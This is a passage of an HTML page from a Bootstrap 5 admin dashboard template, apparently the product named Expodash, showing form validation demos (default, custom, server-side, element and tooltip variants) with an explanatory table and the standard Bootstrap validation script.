class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Shopify </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-0" > <img src="./../assets/images/brand/spotify.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Spotify </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-0" > <img src="./../assets/images/brand/whatsapp.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Whatsapp </p> </a> </div> </div> </div> </div> <!--! End:: edash-applications !--> <!--! Start:: edash-profile !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19" > <div class="avatar avatar-md rounded-circle"> <img src="./../assets/images/avatar/1.png" alt="Avatar" class="img-fluid rounded-circle" /> <div class="avatar-indicator active"></div> </div> </a> <div class="dropdown-menu dropdown-menu-end dropdown-md p-0"> <div class="px-4 py-3 d-flex border-bottom"> <div class="avatar avatar-md flex-shrink-0"> <img src="./../assets/images/avatar/1.png" alt="Avatar" class="img-fluid rounded" /> </div> <div class="flex-grow-1 ms-3"> <h6 class="text-dark mb-1">Alexandra Della</h6> <span class="fs-13 text-muted">Premium Member</span> </div> </div> <div class="px-2 py-3"> <a href="./account-overview.html" class="dropdown-item"> <i class="fi fi-rs-user"></i> <span class="ms-3">Profile</span> </a> <a href="./account-activity.html" class="dropdown-item"> <i class="fi fi-rr-pulse"></i> <span class="ms-3">Activity</span> </a> <a href="./account-project.html" class="dropdown-item"> <i class="fi fi-rr-file-invoice-dollar"></i> <span class="ms-3">Projects</span> </a> <div class="dropdown-divider"></div> <a href="./general-pricing.html" class="dropdown-item"> <i class="fi fi-rr-usd-circle"></i> <span class="ms-3">Pricing</span> </a> <a href="./settings-account.html" class="dropdown-item"> <i class="fi fi-rr-settings"></i> <span class="ms-3">Settings</span> </a> <a href="./general-helpdesk.html" class="dropdown-item"> <i class="fi fi-rr-seal-question"></i> <span class="ms-3">Helpdesk</span> </a> <div class="dropdown-divider"></div> <a href="./auth-login.html" class="dropdown-item text-danger"> <i class="fi fi-rr-exit"></i> <span class="ms-3">Logout</span> </a> </div> </div> </div> <!--! End:: edash-profile !--> </div> <!--! End:: edash-header-right !--> </div> </header> <!--! ================================================================ !--> <!--! End:: Header !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Page Content !--> <!--! ================================================================ !--> <div class="edash-page-container container-xxl" id="edash-page-container" > <!--! Start:: Breadcumb !--> <div class="edash-content-breadcumb row mb-4 mb-md-6 pt-md-2"> <div class="col-12"> <div class="d-flex align-items-center justify-content-between"> <div> <h2 class="h4 fw-semibold text-dark">Validation</h2> <nav aria-label="breadcrumb"> <ol class="breadcrumb mb-0"> <li class="breadcrumb-item"> <a href="javascript:void(0);">Components</a> </li> <li class="breadcrumb-item"> <a href="javascript:void(0);">Forms</a> </li> <li class="breadcrumb-item active" aria-current="page"> Validation </li> </ol> </nav> </div> <div class="d-flex align-items-center gap-2"> <a href="https://getbootstrap.com/docs/5.3/forms/validation/" class="btn btn-md btn-primary" target="_blank" >Official Docs</a > </div> </div> </div> </div> <!--! End:: Breadcumb !--> <!--! Start:: Content Section !--> <div class="edash-content-section row g-3 g-md-4"> <!-- Start:: Defaults --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Defaults</h4> </div> <div class="card-body"> <form class="row g-4"> <div class="col-md-4"> <label for="validationDefault01" class="form-label" >First name</label > <input type="text" class="form-control" id="validationDefault01" required /> </div> <div class="col-md-4"> <label for="validationDefault02" class="form-label" >Last name</label > <input type="text" class="form-control" id="validationDefault02" required /> </div> <div class="col-md-4"> <label for="validationDefaultUsername" class="form-label" >Username</label > <div class="input-group"> <span class="input-group-text" id="inputGroupPrepend2" >@</span > <input type="text" class="form-control" id="validationDefaultUsername" aria-describedby="inputGroupPrepend2" required /> </div> </div> <div class="col-md-6"> <label for="validationDefault03" class="form-label" >City</label > <input type="text" class="form-control" id="validationDefault03" required /> </div> <div class="col-md-3"> <label for="validationDefault04" class="form-label" >State</label > <select class="form-select" id="validationDefault04" required > <option selected disabled value="">Choose...</option> <option>One</option> <option>Two</option> <option>Three</option> </select> </div> <div class="col-md-3"> <label for="validationDefault05" class="form-label" >Zip</label > <input type="text" class="form-control" id="validationDefault05" required /> </div> <div class="col-12"> <div class="form-check"> <input class="form-check-input" type="checkbox" value="" id="invalidCheck2" required /> <label class="form-check-label" for="invalidCheck2"> Agree to terms and conditions </label> </div> </div> <div class="col-12"> <button class="btn btn-primary" type="submit"> Submit form </button> </div> </form> </div> </div> </div> <!-- End:: Defaults --> <!-- Start:: Custom --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Custom</h4> </div> <div class="card-body"> <form class="row g-4 needs-validation" novalidate> <div class="col-md-4"> <label for="validationCustom01" class="form-label" >First name</label > <input type="text" class="form-control" id="validationCustom01" value="MRH" required /> <div class="valid-feedback">Looks good!</div> </div> <div class="col-md-4"> <label for="validationCustom02" class="form-label" >Last name</label > <input type="text" class="form-control" id="validationCustom02" value="Hasan" required /> <div class="valid-feedback">Looks good!</div> </div> <div class="col-md-4"> <label for="validationCustomUsername" class="form-label" >Username</label > <div class="input-group has-validation"> <span class="input-group-text" id="inputGroupPrepend" >@</span > <input type="text" class="form-control" id="validationCustomUsername" aria-describedby="inputGroupPrepend" required /> <div class="invalid-feedback"> Please choose a username. </div> </div> </div> <div class="col-md-6"> <label for="validationCustom03" class="form-label" >City</label > <input type="text" class="form-control" id="validationCustom03" required /> <div class="invalid-feedback"> Please provide a valid city. </div> </div> <div class="col-md-3"> <label for="validationCustom04" class="form-label" >State</label > <select class="form-select" id="validationCustom04" required > <option selected disabled value="">Choose...</option> <option>One</option> <option>Two</option> <option>Three</option> </select> <div class="invalid-feedback"> Please select a valid state. </div> </div> <div class="col-md-3"> <label for="validationCustom05" class="form-label" >Zip</label > <input type="text" class="form-control" id="validationCustom05" required /> <div class="invalid-feedback"> Please provide a valid zip. </div> </div> <div class="col-12"> <div class="form-check"> <input class="form-check-input" type="checkbox" value="" id="invalidCheck" required /> <label class="form-check-label" for="invalidCheck"> Agree to terms and conditions </label> <div class="invalid-feedback"> You must agree before submitting. </div> </div> </div> <div class="col-12"> <button class="btn btn-primary" type="submit"> Submit form </button> </div> </form> </div> </div> </div> <!-- End:: Custom --> <!-- Start:: serverSide --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">serverSide</h4> </div> <div class="card-body"> <form class="row g-4"> <div class="col-md-4"> <label for="validationServer01" class="form-label" >First name</label > <input type="text" class="form-control is-valid" id="validationServer01" value="MRH" required /> <div class="valid-feedback">Looks good!</div> </div> <div class="col-md-4"> <label for="validationServer02" class="form-label" >Last name</label > <input type="text" class="form-control is-valid" id="validationServer02" value="Hasan" required /> <div class="valid-feedback">Looks good!</div> </div> <div class="col-md-4"> <label for="validationServerUsername" class="form-label" >Username</label > <div class="input-group has-validation"> <span class="input-group-text" id="inputGroupPrepend3" >@</span > <input type="text" class="form-control is-invalid" id="validationServerUsername" aria-describedby="inputGroupPrepend3 validationServerUsernameFeedback" required /> <div id="validationServerUsernameFeedback" class="invalid-feedback" > Please choose a username. </div> </div> </div> <div class="col-md-6"> <label for="validationServer03" class="form-label" >City</label > <input type="text" class="form-control is-invalid" id="validationServer03" aria-describedby="validationServer03Feedback" required /> <div id="validationServer03Feedback" class="invalid-feedback" > Please provide a valid city. </div> </div> <div class="col-md-3"> <label for="validationServer04" class="form-label" >State</label > <select class="form-select is-invalid" id="validationServer04" aria-describedby="validationServer04Feedback" required > <option selected disabled value="">Choose...</option> <option>One</option> <option>Two</option> <option>Three</option> </select> <div id="validationServer04Feedback" class="invalid-feedback" > Please select a valid state. </div> </div> <div class="col-md-3"> <label for="validationServer05" class="form-label" >Zip</label > <input type="text" class="form-control is-invalid" id="validationServer05" aria-describedby="validationServer05Feedback" required /> <div id="validationServer05Feedback" class="invalid-feedback" > Please provide a valid zip. </div> </div> <div class="col-12"> <div class="form-check"> <input class="form-check-input is-invalid" type="checkbox" value="" id="invalidCheck3" aria-describedby="invalidCheck3Feedback" required /> <label class="form-check-label" for="invalidCheck3"> Agree to terms and conditions </label> <div id="invalidCheck3Feedback" class="invalid-feedback" > You must agree before submitting. </div> </div> </div> <div class="col-12"> <button class="btn btn-primary" type="submit"> Submit form </button> </div> </form> </div> </div> </div> <!-- End:: serverSide --> <!-- Start:: Elements --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Elements</h4> </div> <div class="card-body"> <form class="was-validated"> <div class="mb-3"> <label for="validationTextarea" class="form-label" >Textarea</label > <textarea class="form-control" id="validationTextarea" placeholder="Required example textarea" required ></textarea> <div class="invalid-feedback"> Please enter a message in the textarea. </div> </div> <div class="form-check mb-3"> <input type="checkbox" class="form-check-input" id="validationFormCheck1" required /> <label class="form-check-label" for="validationFormCheck1" >Check this checkbox</label > <div class="invalid-feedback"> Example invalid feedback text </div> </div> <div class="form-check"> <input type="radio" class="form-check-input" id="validationFormCheck2" name="radio-stacked" required /> <label class="form-check-label" for="validationFormCheck2" >Toggle this radio</label > </div> <div class="form-check mb-3"> <input type="radio" class="form-check-input" id="validationFormCheck3" name="radio-stacked" required /> <label class="form-check-label" for="validationFormCheck3" >Or toggle this other radio</label > <div class="invalid-feedback"> More example invalid feedback text </div> </div> <div class="mb-3"> <select class="form-select" required aria-label="select example" > <option value="">Open this select menu</option> <option value="1">One</option> <option value="2">Two</option> <option value="3">Three</option> </select> <div class="invalid-feedback"> Example invalid select feedback </div> </div> <div class="mb-3"> <input type="file" class="form-control" aria-label="file example" required /> <div class="invalid-feedback"> Example invalid form file feedback </div> </div> <div class="mb-3"> <button class="btn btn-primary" type="submit" disabled> Submit form </button> </div> </form> </div> </div> </div> <!-- End:: Elements --> <!-- Start:: Tooltips --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Tooltips</h4> </div> <div class="card-body"> <form class="row g-4 needs-validation" novalidate> <div class="col-md-4 position-relative"> <label for="validationTooltip01" class="form-label" >First name</label > <input type="text" class="form-control" id="validationTooltip01" value="MRH" required /> <div class="valid-tooltip">Looks good!</div> </div> <div class="col-md-4 position-relative"> <label for="validationTooltip02" class="form-label" >Last name</label > <input type="text" class="form-control" id="validationTooltip02" value="Hasan" required /> <div class="valid-tooltip">Looks good!</div> </div> <div class="col-md-4 position-relative"> <label for="validationTooltipUsername" class="form-label" >Username</label > <div class="input-group has-validation"> <span class="input-group-text" id="validationTooltipUsernamePrepend" >@</span > <input type="text" class="form-control" id="validationTooltipUsername" aria-describedby="validationTooltipUsernamePrepend" required /> <div class="invalid-tooltip"> Please choose a unique and valid username. </div> </div> </div> <div class="col-md-6 position-relative"> <label for="validationTooltip03" class="form-label" >City</label > <input type="text" class="form-control" id="validationTooltip03" required /> <div class="invalid-tooltip"> Please provide a valid city. </div> </div> <div class="col-md-3 position-relative"> <label for="validationTooltip04" class="form-label" >State</label > <select class="form-select" id="validationTooltip04" required > <option selected disabled value="">Choose...</option> <option>One</option> <option>Two</option> <option>Three</option> </select> <div class="invalid-tooltip"> Please select a valid state. </div> </div> <div class="col-md-3 position-relative"> <label for="validationTooltip05" class="form-label" >Zip</label > <input type="text" class="form-control" id="validationTooltip05" required /> <div class="invalid-tooltip"> Please provide a valid zip. </div> </div> <div class="col-12"> <button class="btn btn-primary" type="submit"> Submit form </button> </div> </form> </div> </div> </div> <!-- End:: Tooltips --> <!-- Start:: {Options} --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Options</h4> </div> <div class="table-responsive"> <table class="table mb-0"> <thead> <tr> <th>Reference</th> <th>Details</th> </tr> </thead> <tbody> <tr> <td> <code>How it works</code> </td> <td> Here's how form validation works with Bootstrap:<br /> <ul class="mb-0"> <li> HTML form validation is applied via CSS's two pseudo-classes, <code>:invalid</code> and <code>:valid</code>. It applies to <code><input></code>, <code><select></code>, and <code><textarea></code> elements. </li> <li> Bootstrap scopes the <code>:invalid</code> and <code>:valid</code> styles to parent <code>.was-validated</code> class, usually applied to the <code><form></code>. Otherwise, any required field without a value shows up as invalid on page load. This way, you may choose when to activate them (typically after form submission is attempted). </li> <li> To reset the appearance of the form (for instance, in the case of dynamic form submissions using Ajax), remove the <code>.was-validated</code> class from the <code><form></code> again after submission. </li> <li> As a fallback, <code>.is-invalid</code> and <code>.is-valid</code> classes may be used instead of the pseudo-classes for <a href="#server-side">server-side validation</a>. They do not require a <code>.was-validated</code> parent class. </li> <li> Due to constraints in how CSS works, we cannot (at present) apply styles to a <code><label></code> that comes before a form control in the DOM without the help of custom JavaScript. </li> <li> All modern browsers support the <a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#the-constraint-validation-api" >constraint validation API</a >, a series of JavaScript methods for validating form controls. </li> <li> Feedback messages may utilize the <a href="#browser-defaults">browser defaults</a> (different for each browser, and unstylable via CSS) or our custom feedback styles with additional HTML and CSS. </li> <li> You may provide custom validity messages with <code>setCustomValidity</code> in JavaScript. </li> </ul> <p> With that in mind, consider the following demos for our custom form validation styles, optional server-side classes, and browser defaults. </p> </td> </tr> <tr> <td> <code>Browser defaults</code> </td> <td> Not interested in custom validation feedback messages or writing JavaScript to change form behaviors? All good, you can use the browser defaults. Try submitting the form below. Depending on your browser and OS, you'll see a slightly different style of feedback.<br />While these feedback styles cannot be styled with CSS, you can still customize the feedback text through JavaScript. </td> </tr> <tr> <td> <code>Custom styles</code> </td> <td> For custom Bootstrap form validation messages, you'll need to add the <code>novalidate</code> boolean attribute to your <code><form></code>. This disables the browser default feedback tooltips, but still provides access to the form validation APIs in JavaScript. Try to submit the form below; our JavaScript will intercept the submit button and relay feedback to you. When attempting to submit, you'll see the <code>:invalid</code> and <code>:valid</code> styles applied to your form controls.<br />Custom feedback styles apply custom colors, borders, focus styles, and background icons to better communicate feedback. Background icons for <code><select></code>s are only available with <code>.form-select</code>, and not <code>.form-control</code>. </td> </tr> <tr> <td> <code>Server-side</code> </td> <td> We recommend using client-side validation, but in case you require server-side validation, you can indicate invalid and valid form fields with <code>.is-invalid</code> and <code>.is-valid</code>. Note that <code>.invalid-feedback</code> is also supported with these classes.<br />For invalid fields, ensure that the invalid feedback/error message is associated with the relevant form field using <code>aria-describedby</code> (noting that this attribute allows more than one <code>id</code> to be referenced, in case the field already points to additional form text).<br />To fix <code>issues with border radius</code>, input groups require an additional <code>.has-validation</code> class. </td> </tr> <tr> <td> <code>Supported elements</code> </td> <td> Validation styles are available for the following form controls and components:<br /> <ul class="mb-0"> <li> <code><input></code>s and <code><textarea></code>s with <code>.form-control</code> (including up to one <code>.form-control</code> in input groups) </li> <li> <code><select></code>s with <code>.form-select</code> </li> <li><code>.form-check</code>s</li> </ul> </td> </tr> <tr> <td> <code>Tooltips</code> </td> <td> If your form layout allows it, you can swap the <code>.{valid|invalid}-feedback</code> classes for <code>.{valid|invalid}-tooltip</code> classes to display validation feedback in a styled tooltip. Be sure to have a parent with <code>position: relative</code> on it for tooltip positioning. In the example below, our column classes have this already, but your project may require an alternative setup. </td> </tr> <tr> <td> <code>Documentations</code> </td> <td> Please visit: <a href="https://getbootstrap.com/docs/5.3/forms/validation/" target="_blank" rel="noopener noreferrer" >https://getbootstrap.com/docs/5.3/forms/validation/</a > </td> </tr> </tbody> </table> </div> </div> </div> <!-- End:: {Options} --> </div> <!--! End:: Content Section !--> </div> <!--! ================================================================ !--> <!--! End:: Page Content !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Footer !--> <!--! ================================================================ !--> <footer class="edash-footer-container container-xxl d-flex align-items-center justify-content-between rounded-3 p-4 mx-auto mb-3 ht-64 bg-body-tertiary" id="edash-footer-container" > <div class="hstack"> <span class="text-muted"> <script> document.write(new Date().getFullYear()); </script> © </span> <span class="vr mx-2 bg-body-secondary"></span> <a href="mailto:wrapcoders@gmail.com">Expodash</a> </div> <div class="d-flex align-items-center gap-3"> <a href="./../../docs/documentation.html" target="_blank" class="d-none d-sm-block" >Docs</a > <a href="wrapcoders@gmail.com" target="_blank" class="d-none d-sm-block" >About</a > <a href="wrapcoders@gmail.com" target="_blank">Support</a> <a href="https://codecanyon.net/item/expodash-bootstrap-5-admin-dashboard-template/52160996" target="_blank" >Purchase</a > </div> </footer> <!--! ================================================================ !--> <!--! End:: Footer !--> <!--! ================================================================ !--> </main> <!--! ================================================================ !--> <!--! End:: Main Content !--> <!--! ================================================================ !--> <div class="edash-menu-backdrop" id="edash-menu-hide"></div> </div> <!--! ================================================================ !--> <!--! End:: Main Wrapper !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Footer Script !--> <!--! ================================================================ !--> <!--! BEGIN: Common Vendors !--> <script src="./../assets/js/vendors.min.js"></script> <!--! END: Common Vendors !--> <!--! BEGIN: Apps Common Init !--> <script src="./../assets/js/common-init.min.js"></script> <!--! END: Apps Common Init !--> <!--! BEGIN: Page Vendors -!--> <!--! END: Page Vendors -!--> <script> // Example starter JavaScript for disabling form submissions if there are invalid fields (() => { "use strict"; // Fetch all the forms we want to apply custom Bootstrap validation styles to const forms = document.querySelectorAll(".needs-validation"); // Loop over them and prevent submission Array.from(forms).forEach((form) => { form.addEventListener( "submit", (event) => { if (!form.checkValidity()) { event.preventDefault(); event.stopPropagation(); } form.classList.add("was-validated"); }, false ); }); })(); </script> </body> </html>
Simpan